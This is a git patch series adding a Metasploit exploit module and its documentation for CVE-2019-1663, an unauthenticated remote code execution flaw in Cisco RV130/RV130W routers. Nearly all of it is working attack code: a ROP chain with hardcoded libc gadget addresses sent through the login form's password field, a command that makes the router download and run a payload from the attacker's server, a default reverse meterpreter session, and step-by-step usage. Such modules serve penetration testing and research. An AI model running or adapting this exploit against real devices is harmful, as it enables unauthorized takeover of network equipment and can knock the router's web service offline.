From ef2c4310a4f0ba2f5cac10b8f4bc1a6d6bfd3767 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 22 Mar 2019 17:34:12 +0100 Subject: [PATCH 01/10] Exploit for CVE-2019-1663 on Cisco RV130(W). --- .../exploit/linux/http/cisco_rv130_rmi_rce.md | 27 +++ .../linux/http/cisco_rv130_rmi_rce.rb | 177 ++++++++++++++++++ 2 files changed, 204 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md create mode 100644 modules/exploits/linux/http/cisco_rv130_rmi_rce.rb diff --git a/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md b/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md new file mode 100644 index 0000000000..e729f9f95f --- /dev/null +++ b/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md @@ -0,0 +1,27 @@ +# Cisco RV130W Routers Management Interface Remote Command Execution + +A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + +The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + +A successful exploit could allow the attacker to execute arbitrary code on the underlying operating +system of the affected device as a high-privilege user. + +## Vulnerable Device + +* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected. +* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. + +This exploit was specifically written against version 1.0.3.28. To test, you can find the +firmware here: https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.28 + +## Verification Steps + +1. Start msfconsole +2. ```use exploit/linux/http/cisco_rv130_rmi_rce``` +4. ```set rhost [IP]``` +5. ```set payload linux/armle/meterpreter_reverse_tcp``` +6. ```set lhost [IP]``` +7. ```exploit``` +8. You should get a session + diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb new file mode 100644 index 0000000000..abd5edcdd1 --- /dev/null +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# linux/armle/meterpreter/bind_tcp -> segfault +# linux/armle/meterpreter/reverse_tcp -> segfault +# linux/armle/meterpreter_reverse_http -> works +# linux/armle/meterpreter_reverse_https -> works +# linux/armle/meterpreter_reverse_tcp -> works +# linux/armle/shell/bind_tcp -> segfault +# linux/armle/shell/reverse_tcp -> segfault +# linux/armle/shell_bind_tcp -> segfault +# linux/armle/shell_reverse_tcp -> segfault +# +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution', + 'Description' => %q{ + A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router + could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. + + The vulnerability is due to improper validation of user-supplied data in the web-based management interface. + An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. + + A successful exploit could allow the attacker to execute arbitrary code on the underlying operating + system of the affected device as a high-privilege user. + + RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. + }, + 'Author' => + [ + 'Yu Zhang <>', # Initial discovery + 'Haoliang Lu <>', # Initial discovery + 'T. Shiomitsu <>', # Initial discovery + 'Quentin Kaiser ' # Vulnerability analysis & exploit dev + ], + 'License' => MSF_LICENSE, + 'Platform' => %w[linux], + 'Arch' => [ARCH_ARMLE], + 'SessionTypes' => %w[meterpreter], + 'Privileged' => true, # BusyBox + 'References' => + [ + ['CVE', '2019-1663'], + ['CISCO-SA', '20190227'], + ['BID', '107185'], + ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], + ], + 'DefaultOptions' => { + 'WfsDelay' => 10, + 'SSL' => true, + 'RPORT' => 443, + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + }, + 'Targets' => + [ + [ 'Cisco RV130 < 1.0.3.45', + { + 'offset' => 446, + 'libc_base_addr' => 0x357fb000, + 'system_offset' => 0x0004d144, + 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; + 'gadget2' => 0x00041308, # mov r0, sp; blx r2; + 'Arch' => ARCH_ARMLE, + } + ], + [ 'Cisco RV130W < 1.0.3.45', + { + 'offset' => 446, + 'libc_base_addr' => 0x357fb000, + 'system_offset' => 0x0004d144, + 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; + 'gadget2' => 0x00041308, # mov r0, sp; blx r2; + 'Arch' => ARCH_ARMLE, + } + ], + ], + 'DisclosureDate' => 'Feb 27 2019', + 'DefaultTarget' => 0)) + end + + def p (offset) + [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse + end + + def prepare_shellcode(cmd) + #All these gadgets are from /lib/libc.so.0 + shellcode = rand_text_alpha(target['offset']) + # filler + p(target['gadget1']) + + p(target['system_offset']) + # r2 + rand_text_alpha(4) + # r6 + p(target['gadget2']) + # pc + cmd + shellcode + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{peer} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{peer} - Sending the payload to the device...") + @elf_sent = true + send_response(cli, @pl) + end + + def send_request (payload) + begin + send_request_cgi({ + 'uri' => '/login.cgi', + 'method' => 'POST', + 'vars_post' => { + "submit_button": "login", + "submit_type": "", + "gui_action": "", + "wait_time": 0, + "change_action": "", + "enc": 1, + "user": "cisco", + "pwd": payload, + "sel_lang": "EN" + } + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") + end + end + + def exploit + print_status("#{peer} - Attempting to exploit #{target.name}") + downfile = rand_text_alpha(8+rand(8)) + @pl = generate_payload_exe + @elf_sent = false + resource_uri = '/' + downfile + + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{peer} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + print_status("#{peer} - Asking the device to download and execute #{service_url}") + + filename = rand_text_alpha_lower(rand(8) + 2) + cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &" + + shellcode = prepare_shellcode(cmd) + send_request(shellcode) + end +end From 5562af39d32d05452e830638e9e7b5037de11fec Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 22 Mar 2019 20:10:29 +0100 Subject: [PATCH 02/10] Use CmdStager instead of hardcoded wget command. --- .../linux/http/cisco_rv130_rmi_rce.rb | 56 +++---------------- 1 file changed, 8 insertions(+), 48 deletions(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index abd5edcdd1..eda8a780a1 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -17,9 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -47,6 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => %w[linux], 'Arch' => [ARCH_ARMLE], 'SessionTypes' => %w[meterpreter], + 'CmdStagerFlavor'=> %w{ wget }, 'Privileged' => true, # BusyBox 'References' => [ @@ -59,6 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'WfsDelay' => 10, 'SSL' => true, 'RPORT' => 443, + 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', }, 'Targets' => @@ -103,18 +103,6 @@ class MetasploitModule < Msf::Exploit::Remote shellcode end - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{peer} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{peer} - Sending the payload to the device...") - @elf_sent = true - send_response(cli, @pl) - end - def send_request (payload) begin send_request_cgi({ @@ -138,40 +126,12 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("#{peer} - Attempting to exploit #{target.name}") - downfile = rand_text_alpha(8+rand(8)) - @pl = generate_payload_exe - @elf_sent = false - resource_uri = '/' + downfile + print_status('Sending request') + execute_cmdstager + end - #do not use SSL - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - print_status("#{peer} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - datastore['SSL'] = true if ssl_restore - print_status("#{peer} - Asking the device to download and execute #{service_url}") - - filename = rand_text_alpha_lower(rand(8) + 2) - cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &" - - shellcode = prepare_shellcode(cmd) + def execute_command(cmd, opts = {}) + shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end end From 4451225da76689b0eea1681dfca70cb1a1096cf1 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sun, 24 Mar 2019 17:49:55 +0100 Subject: [PATCH 03/10] Add httpd service reloading. --- .../exploits/linux/http/cisco_rv130_rmi_rce.rb | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index eda8a780a1..760cd8be6f 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -134,4 +134,20 @@ class MetasploitModule < Msf::Exploit::Remote shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end + + def on_new_session(session) + # Given there is no process continuation here, the httpd server will stop + # functioning properly and we need to take care of proper restart + # ourselves. + print_status("Reloading httpd service") + reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" + if session.type.to_s.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" + else + session.shell_command(reload_httpd_service) + end + ensure + super + end end From be73f56610dc3260d0df4ff8c4544377d4544515 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sun, 24 Mar 2019 17:50:31 +0100 Subject: [PATCH 04/10] Only got researchers name, no email. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 760cd8be6f..e9886323cb 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -36,9 +36,9 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => [ - 'Yu Zhang <>', # Initial discovery - 'Haoliang Lu <>', # Initial discovery - 'T. Shiomitsu <>', # Initial discovery + 'Yu Zhang', # Initial discovery + 'Haoliang Lu', # Initial discovery + 'T. Shiomitsu', # Initial discovery 'Quentin Kaiser ' # Vulnerability analysis & exploit dev ], 'License' => MSF_LICENSE, From ddb21a9061aa1df51fe8b20287a6d663d06e9df2 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sun, 24 Mar 2019 17:52:11 +0100 Subject: [PATCH 05/10] Fix numbering. --- .../modules/exploit/linux/http/cisco_rv130_rmi_rce.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md b/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md index e729f9f95f..6ad317ad1a 100644 --- a/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md +++ b/documentation/modules/exploit/linux/http/cisco_rv130_rmi_rce.md @@ -19,9 +19,9 @@ firmware here: https://software.cisco.com/download/home/285026141/type/282465789 1. Start msfconsole 2. ```use exploit/linux/http/cisco_rv130_rmi_rce``` -4. ```set rhost [IP]``` -5. ```set payload linux/armle/meterpreter_reverse_tcp``` -6. ```set lhost [IP]``` -7. ```exploit``` -8. You should get a session +3. ```set rhost [IP]``` +4. ```set payload linux/armle/meterpreter_reverse_tcp``` +5. ```set lhost [IP]``` +6. ```exploit``` +7. You should get a session From 5c048e7cd6c540324e7c8c82d2f63ebd7dc26be2 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sun, 24 Mar 2019 22:20:31 +0100 Subject: [PATCH 06/10] CISCO-SA not supported. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index e9886323cb..251d650710 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -50,7 +50,6 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ ['CVE', '2019-1663'], - ['CISCO-SA', '20190227'], ['BID', '107185'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], ], From 9baaedce4e8756de74fe0bcffea75cbcf15c3fa5 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Sun, 24 Mar 2019 22:29:07 +0100 Subject: [PATCH 07/10] Indicate potential DoS in description. Define exploit stance explicitly. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 251d650710..054d63ee94 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -33,6 +33,9 @@ class MetasploitModule < Msf::Exploit::Remote system of the affected device as a high-privilege user. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. + + Note: successful exploitation may not result in a session, and as such, + on_new_session will never repair the HTTP server, leading to a denial-of-service condition. }, 'Author' => [ @@ -44,8 +47,9 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'Arch' => [ARCH_ARMLE], + 'Stance' => Msf::Exploit::Stance::Aggressive, 'SessionTypes' => %w[meterpreter], - 'CmdStagerFlavor'=> %w{ wget }, + 'CmdStagerFlavor' => %w{ wget }, 'Privileged' => true, # BusyBox 'References' => [ From 3517a4e237eac6103bc46d5b532108b5df2ebc13 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 9 Apr 2019 11:31:15 +0200 Subject: [PATCH 08/10] Adapt ranking and mention potential stability issue. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 054d63ee94..c74b1e910a 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -14,7 +14,7 @@ # linux/armle/shell_reverse_tcp -> segfault # class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager @@ -88,7 +88,11 @@ class MetasploitModule < Msf::Exploit::Remote ], ], 'DisclosureDate' => 'Feb 27 2019', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SERVICE_DOWN, ], + }, + )) end def p (offset) From dfb1ebb2e26d65b9ae08d5ee20f843936a35ba36 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 12 Apr 2019 10:57:50 +0200 Subject: [PATCH 09/10] Remove Stance value as it is already defined by core/exploit/cmdstager/http. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index c74b1e910a..4a01eb050a 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -47,7 +47,6 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'Arch' => [ARCH_ARMLE], - 'Stance' => Msf::Exploit::Stance::Aggressive, 'SessionTypes' => %w[meterpreter], 'CmdStagerFlavor' => %w{ wget }, 'Privileged' => true, # BusyBox From 5e189196de9dcf076b4bb42c192502932b6ab416 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Fri, 12 Apr 2019 10:58:56 +0200 Subject: [PATCH 10/10] Target consolidation. --- modules/exploits/linux/http/cisco_rv130_rmi_rce.rb | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb index 4a01eb050a..c8b0a57353 100644 --- a/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb +++ b/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb @@ -65,17 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Targets' => [ - [ 'Cisco RV130 < 1.0.3.45', - { - 'offset' => 446, - 'libc_base_addr' => 0x357fb000, - 'system_offset' => 0x0004d144, - 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; - 'gadget2' => 0x00041308, # mov r0, sp; blx r2; - 'Arch' => ARCH_ARMLE, - } - ], - [ 'Cisco RV130W < 1.0.3.45', + [ 'Cisco RV130/RV130W < 1.0.3.45', { 'offset' => 446, 'libc_base_addr' => 0x357fb000,